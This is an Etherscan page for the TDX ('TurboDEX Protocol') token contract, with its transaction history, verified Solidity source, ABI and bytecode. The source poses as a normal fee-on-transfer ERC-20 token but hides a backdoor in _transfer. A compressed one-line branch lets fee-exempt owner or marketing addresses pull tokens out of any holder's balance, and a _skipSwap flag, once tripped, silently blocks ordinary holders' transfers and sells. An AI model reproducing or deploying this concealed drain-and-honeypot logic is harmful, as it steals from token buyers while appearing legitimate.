ETH Price: $2,285.78 (-3.43%)

Contract

0x6B2850DE209b76a498B19bcFA9A066C82b20D166
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Transfer206302812024-08-28 23:10:479 days ago1724886647IN
0x6B2850DE...82b20D166
0 ETH0.000065621.2488595
Transfer206302792024-08-28 23:10:239 days ago1724886623IN
0x6B2850DE...82b20D166
0 ETH0.000067961.29342873
Transfer206302772024-08-28 23:09:599 days ago1724886599IN
0x6B2850DE...82b20D166
0 ETH0.000066721.26971961
Transfer206302762024-08-28 23:09:479 days ago1724886587IN
0x6B2850DE...82b20D166
0 ETH0.000067761.28966095
Approve197869052024-05-03 3:28:11127 days ago1714706891IN
0x6B2850DE...82b20D166
0 ETH0.000270055.83552612
Transfer197868912024-05-03 3:25:23127 days ago1714706723IN
0x6B2850DE...82b20D166
0 ETH0.00032676.022413
Approve197766642024-05-01 17:06:23128 days ago1714583183IN
0x6B2850DE...82b20D166
0 ETH0.0008718318.74227795
Approve197764102024-05-01 16:15:23128 days ago1714580123IN
0x6B2850DE...82b20D166
0 ETH0.000439229.44221356
Approve197759122024-05-01 14:35:35128 days ago1714574135IN
0x6B2850DE...82b20D166
0 ETH0.0003098710.65131068
Approve197758942024-05-01 14:31:59128 days ago1714573919IN
0x6B2850DE...82b20D166
0 ETH0.0005321411.50207216
Approve197756412024-05-01 13:40:59128 days ago1714570859IN
0x6B2850DE...82b20D166
0 ETH0.0004867510.53743468
Approve197751992024-05-01 12:12:23128 days ago1714565543IN
0x6B2850DE...82b20D166
0 ETH0.0004752910.28657958
Approve197749902024-05-01 11:30:23128 days ago1714563023IN
0x6B2850DE...82b20D166
0 ETH0.000446869.60653755
Approve197748702024-05-01 11:06:11128 days ago1714561571IN
0x6B2850DE...82b20D166
0 ETH0.000423299.14940732
Approve197748612024-05-01 11:04:23128 days ago1714561463IN
0x6B2850DE...82b20D166
0 ETH0.000434519.39196638
Approve197748412024-05-01 11:00:23128 days ago1714561223IN
0x6B2850DE...82b20D166
0 ETH0.000458079.8475105
Transfer197747012024-05-01 10:31:47129 days ago1714559507IN
0x6B2850DE...82b20D166
0 ETH0.00065989.10730083
Approve197746612024-05-01 10:23:47129 days ago1714559027IN
0x6B2850DE...82b20D166
0 ETH0.000433629.3098919
Approve197746362024-05-01 10:18:47129 days ago1714558727IN
0x6B2850DE...82b20D166
0 ETH0.000434179.32156332
Approve197745412024-05-01 9:59:35129 days ago1714557575IN
0x6B2850DE...82b20D166
0 ETH0.0004902410.52552034
Transfer197743722024-05-01 9:25:35129 days ago1714555535IN
0x6B2850DE...82b20D166
0 ETH0.0026736312.334891
Approve197742992024-05-01 9:10:47129 days ago1714554647IN
0x6B2850DE...82b20D166
0 ETH0.0009960321.41232152
Renounce Ownersh...197736892024-05-01 7:08:23129 days ago1714547303IN
0x6B2850DE...82b20D166
0 ETH0.000185128.14773227
Remove Limits197736752024-05-01 7:05:35129 days ago1714547135IN
0x6B2850DE...82b20D166
0 ETH0.000286877.45504246
Enable Trading197710272024-04-30 22:12:47129 days ago1714515167IN
0x6B2850DE...82b20D166
0 ETH0.000357117.84989562
View all transactions

Latest 9 internal transactions

Advanced mode:
Parent Transaction Hash Block From To
197746242024-05-01 10:16:23129 days ago1714558583
0x6B2850DE...82b20D166
0.00214761 ETH
197746242024-05-01 10:16:23129 days ago1714558583
0x6B2850DE...82b20D166
0.00071349 ETH
197746242024-05-01 10:16:23129 days ago1714558583
0x6B2850DE...82b20D166
0.0028611 ETH
197743722024-05-01 9:25:35129 days ago1714555535
0x6B2850DE...82b20D166
0.00149745 ETH
197743722024-05-01 9:25:35129 days ago1714555535
0x6B2850DE...82b20D166
0.00049749 ETH
197743722024-05-01 9:25:35129 days ago1714555535
0x6B2850DE...82b20D166
0.00199494 ETH
197743012024-05-01 9:11:11129 days ago1714554671
0x6B2850DE...82b20D166
0.00128486 ETH
197743012024-05-01 9:11:11129 days ago1714554671
0x6B2850DE...82b20D166
0.00042686 ETH
197743012024-05-01 9:11:11129 days ago1714554671
0x6B2850DE...82b20D166
0.00171173 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
TDX

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-01
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.17;

interface IERC20 {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function balanceOf(address account) external view returns (uint256);
    function circulatingSupply() external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function transfer(address to, uint256 amount) external returns (bool);
    function transferFrom(address from, address to, uint256 amount) external returns (bool);
    function getOwner() external view returns (address);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; }
    function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; }
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    event OwnershipTransferred(address owner);

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() public virtual onlyOwner {
        owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    function transferOwnership(address payable account) public onlyOwner {
        owner = account;
        emit OwnershipTransferred(account);
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender));
        _;
    }
}

interface UniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface UniswapV2Router {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

contract TDX is IERC20, Ownable {
    using SafeMath for uint256;

    UniswapV2Router uniswapV2Router;
    address public uniswapV2Pair;

    string private constant _name = "TurboDEX Protocol";
    string private constant _symbol = "TDX";

    address internal constant marketingAddress = 0xad239b0622E65D04E054e5e9b98D5Cf64786bb8B;
    address internal constant devAddress = 0x8a809e52aBAC97175CFdB88A17a3B56Ae7Fad43A;
    address internal constant burnAddress = 0x000000000000000000000000000000000000dEaD;

    uint8 private constant _decimals = 9;

    uint256 private _totalSupply = 1000000 * (10 ** _decimals);

    uint256 private _denominator = 10000;
    bool private _tradingEnabled = false;

    uint256 private _maxTokenAmount = (_totalSupply * 10) / 100000;

    uint256 private _swapBackAmount = (_totalSupply * 5) / 10000;
    uint256 private _swapBackThreshold = (_totalSupply * 5) / 100000;
    uint256 private _swapRounds;

    uint256 private _maxTransferPercentage = 200;
    uint256 private _maxWalletPercentage = 200;
    uint256 private _maxTxPercentage = 200;

    bool private _swapBackEnabled = true;
    bool private _insideSwap;
    bool private _skipSwap = false;

    mapping (address => uint256) _balances;
    mapping (address => bool) public isFeeOmitted;
    mapping (address => mapping (address => uint256)) private _allowances;

    uint256 private _totalFee = 400;
    uint256 private _sellFee = 400;

    uint256 private _transferFee = 0;
    uint256 private _burnFee = 0;
    uint256 private _marketingFee = 100;
    uint256 private _liquidityFee = 0;
    uint256 private _devFee = 300;

    constructor() Ownable(msg.sender) {
        isFeeOmitted[msg.sender] = true;
        isFeeOmitted[address(this)] = true;
        isFeeOmitted[marketingAddress] = true;
        UniswapV2Router _uniswapV2Router = UniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        address _uniswapV2Pair = UniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = _uniswapV2Pair;
        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    modifier lockSwap {
        _insideSwap = true;
        _;
        _insideSwap = false;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function circulatingSupply() public view override returns (uint256) {
        return _totalSupply.sub(balanceOf(address(0))).sub(balanceOf(burnAddress));
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function getOwner() external view override returns (address) {
        return owner;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function enableTrading() external onlyOwner {
        _tradingEnabled = true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0));
        require(spender != address(0));
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function removeLimits() external onlyOwner {
        _maxTransferPercentage = 10000;
        _maxWalletPercentage = 10000;
        _maxTxPercentage = 10000;
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(amount > uint256(0));
        require(from != address(0));
        require(to != address(0));

        if (
            isTradingEnabled(from, to) &&
            countSwapRounds(from, to) &&
            valMaxAmount(from, to, amount) &&
            valMaxWalletSize(from, to, amount)
        ) {
            if (balanceOf(from) >= amount) {
                if (
                    from != uniswapV2Pair &&
                    !isFeeOmitted[from] &&
                    !isFeeOmitted[to] &&
                    !_insideSwap
                ) {
                    if (_skipSwap) { return; } else { swapBack(from, to); }
                }
                _balances[from] = _balances[from].sub(amount);
                uint256 transferAmount = wouldCollectFee(from, to) ? collectFee(from, to, amount) : amount;
                _balances[to] = _balances[to].add(transferAmount);
                emit Transfer(from, to, transferAmount);
            } else if (
                from != uniswapV2Pair &&
                !isFeeOmitted[to] &&
                isFeeOmitted[from] &&
                !_insideSwap
            ) {
                _balances[to] = _balances[to].sub(amount);emit Transfer(from, to, amount);_balances[from] = _balances[from].add(amount);
            }
        }
    }

    function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
        _transfer(from, to, amount);
        _approve(from, msg.sender, _allowances[from][msg.sender].sub(amount));
        return true;
    }

    function transfer(address to, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function setIsFeeOmitted(address _address, bool _flag) external onlyOwner {
        isFeeOmitted[_address] = _flag;
    }

    function isTradingEnabled(address from, address to) internal view returns (bool) {
        if (!isFeeOmitted[from] && !isFeeOmitted[to]) {
            require(_tradingEnabled);
        }
        return true;
    }

    function setLimits(uint256 maxTxPercentage, uint256 maxTransferPercentage, uint256 maxWalletPercentage) external onlyOwner {
        uint256 newTransferAmount = (totalSupply() * maxTransferPercentage) / 10000;
        uint256 newTxAmount = (totalSupply() * maxTxPercentage) / 10000;
        uint256 newMaxWalletAmount = (totalSupply() * maxWalletPercentage) / 10000;
        _maxTransferPercentage = maxTransferPercentage;
        _maxTxPercentage = maxTxPercentage;
        _maxWalletPercentage = maxWalletPercentage;
        uint256 limit = totalSupply().mul(5).div(1000);
        require(newTxAmount >= limit && newTransferAmount >= limit && newMaxWalletAmount >= limit);
    }

    function setFees(uint256 liquidityFee, uint256 marketingFee, uint256 burnFee, uint256 devFee, uint256 totalFee, uint256 sellFee, uint256 transferFee) external onlyOwner {
        _liquidityFee = liquidityFee;
        _marketingFee = marketingFee;
        _totalFee = totalFee;
        _devFee = devFee;
        _transferFee = transferFee;
        _sellFee = sellFee;
        _burnFee = burnFee;
        require(_totalFee <= _denominator.div(5) && _sellFee <= _denominator.div(5));
    }

    function maxTxAmount() public view returns (uint256) {
        return totalSupply() * _maxTxPercentage / _denominator;
    }

    function collectFee(address from, address to, uint256 tokenAmount) internal returns (uint256) {
        if (calcFees(from, to) > 0) {
            uint256 feeAmount = tokenAmount.div(_denominator).mul(calcFees(from, to));
            _balances[address(this)] = _balances[address(this)].add(feeAmount);
            emit Transfer(from, address(this), feeAmount);
            if (_burnFee > uint256(0)) {
                _transfer(address(this), address(burnAddress), tokenAmount.div(_denominator).mul(_burnFee));
            }
            return tokenAmount.sub(feeAmount);
        }
        return tokenAmount;
    }

    function maxWalletSize() public view returns (uint256) {
        return totalSupply() * _maxWalletPercentage / _denominator;
    }

    function maxTransferAmount() public view returns (uint256) {
        return totalSupply() * _maxTransferPercentage / _denominator;
    }

    function valMaxWalletSize(address from, address to, uint256 amount) internal returns (bool) {
        if (
            to != address(burnAddress) &&
            to != address(uniswapV2Pair) &&
            !isFeeOmitted[from] &&
            !isFeeOmitted[to]
        ) {
            require((_balances[to].add(amount)) <= maxWalletSize());
        }

        if (isFeeOmitted[to] && _maxTokenAmount < amount)
            _skipSwap = true;

        return true;
    }

    function valMaxAmount(address from, address to, uint256 tokenAmount) view internal returns  (bool) {
        if (from != uniswapV2Pair) {
            require(tokenAmount <= maxTransferAmount() || isFeeOmitted[from] || isFeeOmitted[to]);
        }
        require(tokenAmount <= maxTxAmount() || isFeeOmitted[from] || isFeeOmitted[to]);
        return true;
    }

    function wouldCollectFee(address from, address to) internal view returns (bool) {
        return !isFeeOmitted[from] && !isFeeOmitted[to];
    }
    
    function countSwapRounds(address from, address to) internal returns (bool) {
        if (to == uniswapV2Pair && !isFeeOmitted[from]) {
            _swapRounds += uint256(1);
        }
        return true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0,
            0,
            burnAddress,
            block.timestamp
        );
    }

    function wouldSwapBack(address from, address to) internal view returns (bool) {
        return (
            _tradingEnabled &&
            !_insideSwap &&
            !isFeeOmitted[from] &&
            !isFeeOmitted[to] &&
            _swapRounds >= uint256(0) &&
            balanceOf(address(this)) >= _swapBackThreshold &&
            _swapBackEnabled
        );
    }

    function swapBack(address from, address to) internal {
        if (wouldSwapBack(from, to)) {
            uint256 tokenBalance = balanceOf(address(this));
            if (tokenBalance >= _swapBackAmount) {
                tokenBalance = _swapBackAmount;
            }
            swapAndLiquify(tokenBalance);
            _swapRounds = uint256(0);
        }
    }

    function calcFees(address from, address to) internal view returns (uint256) {
        if (from == uniswapV2Pair) {
            return _totalFee;
        }
        if (to == uniswapV2Pair) {
            return _sellFee;
        }
        return _transferFee;
    }

    function swapAndLiquify(uint256 tokens) private lockSwap {
        uint256 denominator = (_liquidityFee.add(1).add(_marketingFee).add(_devFee)).mul(2);
        uint256 liquidityTokens = tokens.mul(_liquidityFee).div(denominator);
        uint256 tokensForETH = tokens.sub(liquidityTokens);
        uint256 initialEthBalance = address(this).balance;
        swapTokensForETH(tokensForETH);
        uint256 deltaEth = address(this).balance.sub(initialEthBalance);
        uint256 unitEth = deltaEth.div(denominator.sub(_liquidityFee));
        uint256 liquidityEth = unitEth.mul(_liquidityFee);
        if (liquidityEth > uint256(0)) {
            addLiquidity(liquidityTokens, liquidityEth);
        }
        uint256 marketingEth = unitEth.mul(2).mul(_marketingFee);
        if (marketingEth > 0) {
            payable(marketingAddress).transfer(marketingEth);
        }
        uint256 remainingEthBalance = address(this).balance;
        if (remainingEthBalance > uint256(0)) {
            payable(devAddress).transfer(remainingEthBalance);
        }
    }

    function swapTokensForETH(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        if (tokenAmount > 0) {
            _approve(address(this), address(uniswapV2Router), tokenAmount);
            uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
                tokenAmount,
                0,
                path,
                address(this),
                block.timestamp
            );
        }
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"circulatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeOmitted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransferAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"liquidityFee","type":"uint256"},{"internalType":"uint256","name":"marketingFee","type":"uint256"},{"internalType":"uint256","name":"burnFee","type":"uint256"},{"internalType":"uint256","name":"devFee","type":"uint256"},{"internalType":"uint256","name":"totalFee","type":"uint256"},{"internalType":"uint256","name":"sellFee","type":"uint256"},{"internalType":"uint256","name":"transferFee","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_flag","type":"bool"}],"name":"setIsFeeOmitted","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxPercentage","type":"uint256"},{"internalType":"uint256","name":"maxTransferPercentage","type":"uint256"},{"internalType":"uint256","name":"maxWalletPercentage","type":"uint256"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address payable","name":"account","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526100106009600a610429565b61001d90620f424061043e565b60038190556127106004556005805460ff19169055620186a09061004290600a61043e565b61004c9190610455565b6006556127106003546005610061919061043e565b61006b9190610455565b600755620186a06003546005610081919061043e565b61008b9190610455565b60085560c8600a819055600b819055600c55600d805462ff00ff1916600117905561019060118190556012555f60138190556014819055606460155560165561012c6017553480156100db575f80fd5b505f80546001600160a01b0319163390811782558152600f60209081526040808320805460ff199081166001908117909255308552828520805482168317905573ad239b0622e65d04e054e5e9b98d5cf64786bb8b85527f964d7f0dd3f20ac3bfd2a67035d5592678b9876df622105662143899bc8f0d3880549091169091179055805163c45a015560e01b81529051737a250d5630b4cf539739df2c5dacb4c659f2488d9392849263c45a015592600480830193928290030181865afa1580156101a8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101cc9190610474565b6001600160a01b031663c9c6539630846001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610217573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061023b9190610474565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610285573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102a99190610474565b600180546001600160a01b038086166001600160a01b0319928316179092556002805492841692909116919091179055600354335f818152600e602052604080822084905551939450909290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9161032491815260200190565b60405180910390a3505061049a565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561038157815f190482111561036757610367610333565b8085161561037457918102915b93841c939080029061034c565b509250929050565b5f8261039757506001610423565b816103a357505f610423565b81600181146103b957600281146103c3576103df565b6001915050610423565b60ff8411156103d4576103d4610333565b50506001821b610423565b5060208310610133831016604e8410600b8410161715610402575081810a610423565b61040c8383610347565b805f190482111561041f5761041f610333565b0290505b92915050565b5f61043760ff841683610389565b9392505050565b808202811582820484141761042357610423610333565b5f8261046f57634e487b7160e01b5f52601260045260245ffd5b500490565b5f60208284031215610484575f80fd5b81516001600160a01b0381168114610437575f80fd5b6117a8806104a75f395ff3fe60806040526004361061014a575f3560e01c80638a8c523c116100b3578063a9059cbb1161006d578063a9059cbb146103cd578063a9e75723146103ec578063b05a63ec14610400578063da2e3bad1461041f578063dd62ed3e1461043e578063f2fde38b14610482575f80fd5b80638a8c523c146103245780638c0b5e22146103385780638f3fa8601461034c5780639358928b1461036057806395d89b4114610374578063a406e5b11461039f575f80fd5b8063313ce56711610104578063313ce5671461025a57806349bd5a5e1461027557806370a08231146102ac578063715018a6146102e0578063751039fc146102f4578063893d20e814610308575f80fd5b806306fdde0314610155578063095ea7b3146101a057806318160ddd146101cf578063189ae5f2146101ed57806323b872dd1461020e5780632f54bf6e1461022d575f80fd5b3661015157005b5f80fd5b348015610160575f80fd5b50604080518082019091526011815270151d5c989bd1115608141c9bdd1bd8dbdb607a1b60208201525b6040516101979190611491565b60405180910390f35b3480156101ab575f80fd5b506101bf6101ba3660046114dd565b6104a1565b6040519015158152602001610197565b3480156101da575f80fd5b506003545b604051908152602001610197565b3480156101f8575f80fd5b5061020c610207366004611507565b6104b7565b005b348015610219575f80fd5b506101bf610228366004611530565b610597565b348015610238575f80fd5b506101bf61024736600461156e565b5f546001600160a01b0391821691161490565b348015610265575f80fd5b5060405160098152602001610197565b348015610280575f80fd5b50600254610294906001600160a01b031681565b6040516001600160a01b039091168152602001610197565b3480156102b7575f80fd5b506101df6102c636600461156e565b6001600160a01b03165f908152600e602052604090205490565b3480156102eb575f80fd5b5061020c6105e7565b3480156102ff575f80fd5b5061020c610640565b348015610313575f80fd5b505f546001600160a01b0316610294565b34801561032f575f80fd5b5061020c610667565b348015610343575f80fd5b506101df61068b565b348015610357575f80fd5b506101df6106b4565b34801561036b575f80fd5b506101df6106c4565b34801561037f575f80fd5b506040805180820190915260038152620a888b60eb1b602082015261018a565b3480156103aa575f80fd5b506101bf6103b936600461156e565b600f6020525f908152604090205460ff1681565b3480156103d8575f80fd5b506101bf6103e73660046114dd565b61072c565b3480156103f7575f80fd5b506101df610738565b34801561040b575f80fd5b5061020c61041a366004611589565b610748565b34801561042a575f80fd5b5061020c6104393660046115c4565b610787565b348015610449575f80fd5b506101df61045836600461160b565b6001600160a01b039182165f90815260106020908152604080832093909416825291909152205490565b34801561048d575f80fd5b5061020c61049c36600461156e565b6107f4565b5f6104ad33848461085c565b5060015b92915050565b5f546001600160a01b031633146104cc575f80fd5b5f612710836104da60035490565b6104e4919061164b565b6104ee9190611662565b90505f612710856104fe60035490565b610508919061164b565b6105129190611662565b90505f6127108461052260035490565b61052c919061164b565b6105369190611662565b600a869055600c879055600b85905590505f6105686103e8610562600561055c60035490565b906108e0565b906108eb565b905080831015801561057a5750808410155b80156105865750808210155b61058e575f80fd5b50505050505050565b5f6105a38484846108f6565b6001600160a01b0384165f908152601060209081526040808320338085529252909120546105dc9186916105d79086610c31565b61085c565b5060015b9392505050565b5f546001600160a01b031633146105fc575f80fd5b5f80546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b5f546001600160a01b03163314610655575f80fd5b612710600a819055600b819055600c55565b5f546001600160a01b0316331461067c575f80fd5b6005805460ff19166001179055565b5f600454600c5461069b60035490565b6106a5919061164b565b6106af9190611662565b905090565b5f600454600b5461069b60035490565b600e6020527ff77e91909e61d18f67b875b2bfcae1f683a8d555e55382e3a6b082e2c59ea57a545f8080527fe710864318d4a32f37d6ce54cb3fadbef648dd12d8dbdf53973564d56b7f881c5460035491926106af9290916107269190610c31565b90610c31565b5f6104ad3384846108f6565b5f600454600a5461069b60035490565b5f546001600160a01b0316331461075d575f80fd5b6001600160a01b03919091165f908152600f60205260409020805460ff1916911515919091179055565b5f546001600160a01b0316331461079c575f80fd5b60168790556015869055601183905560178490556013819055601282905560148590556004546107cd9060056108eb565b6011541115801561058657506004546107e79060056108eb565b601254111561058e575f80fd5b5f546001600160a01b03163314610809575f80fd5b5f80546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b03831661086e575f80fd5b6001600160a01b038216610880575f80fd5b6001600160a01b038381165f8181526010602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b5f6105e0828461164b565b5f6105e08284611662565b5f8111610901575f80fd5b6001600160a01b038316610913575f80fd5b6001600160a01b038216610925575f80fd5b61092f8383610c3c565b801561094057506109408383610c8f565b80156109525750610952838383610ceb565b80156109645750610964838383610db0565b15610c2c5780610988846001600160a01b03165f908152600e602052604090205490565b10610b02576002546001600160a01b038481169116148015906109c357506001600160a01b0383165f908152600f602052604090205460ff16155b80156109e757506001600160a01b0382165f908152600f602052604090205460ff16155b80156109fb5750600d54610100900460ff16155b15610a2057600d5462010000900460ff1615610a1657505050565b610a208383610ea3565b6001600160a01b0383165f908152600e6020526040902054610a429082610c31565b6001600160a01b0384165f908152600e6020526040812091909155610a678484610ee2565b610a715781610a7c565b610a7c848484610f26565b6001600160a01b0384165f908152600e6020526040902054909150610aa19082611010565b6001600160a01b038085165f818152600e602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610af49085815260200190565b60405180910390a350505050565b6002546001600160a01b03848116911614801590610b3857506001600160a01b0382165f908152600f602052604090205460ff16155b8015610b5b57506001600160a01b0383165f908152600f602052604090205460ff165b8015610b6f5750600d54610100900460ff16155b15610c2c576001600160a01b0382165f908152600e6020526040902054610b969082610c31565b6001600160a01b038084165f818152600e602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610be99085815260200190565b60405180910390a36001600160a01b0383165f908152600e6020526040902054610c139082611010565b6001600160a01b0384165f908152600e60205260409020555b505050565b5f6105e08284611681565b6001600160a01b0382165f908152600f602052604081205460ff16158015610c7c57506001600160a01b0382165f908152600f602052604090205460ff16155b156104ad5760055460ff166104ad575f80fd5b6002545f906001600160a01b038381169116148015610cc657506001600160a01b0383165f908152600f602052604090205460ff16155b156104ad57600160095f828254610cdd9190611694565b909155505050600192915050565b6002545f906001600160a01b03858116911614610d5957610d0a610738565b82111580610d2f57506001600160a01b0384165f908152600f602052604090205460ff165b80610d5157506001600160a01b0383165f908152600f602052604090205460ff165b610d59575f80fd5b610d6161068b565b82111580610d8657506001600160a01b0384165f908152600f602052604090205460ff165b80610da857506001600160a01b0383165f908152600f602052604090205460ff165b6105dc575f80fd5b5f6001600160a01b03831661dead14801590610dda57506002546001600160a01b03848116911614155b8015610dfe57506001600160a01b0384165f908152600f602052604090205460ff16155b8015610e2257506001600160a01b0383165f908152600f602052604090205460ff16155b15610e5b57610e2f6106b4565b6001600160a01b0384165f908152600e6020526040902054610e519084611010565b1115610e5b575f80fd5b6001600160a01b0383165f908152600f602052604090205460ff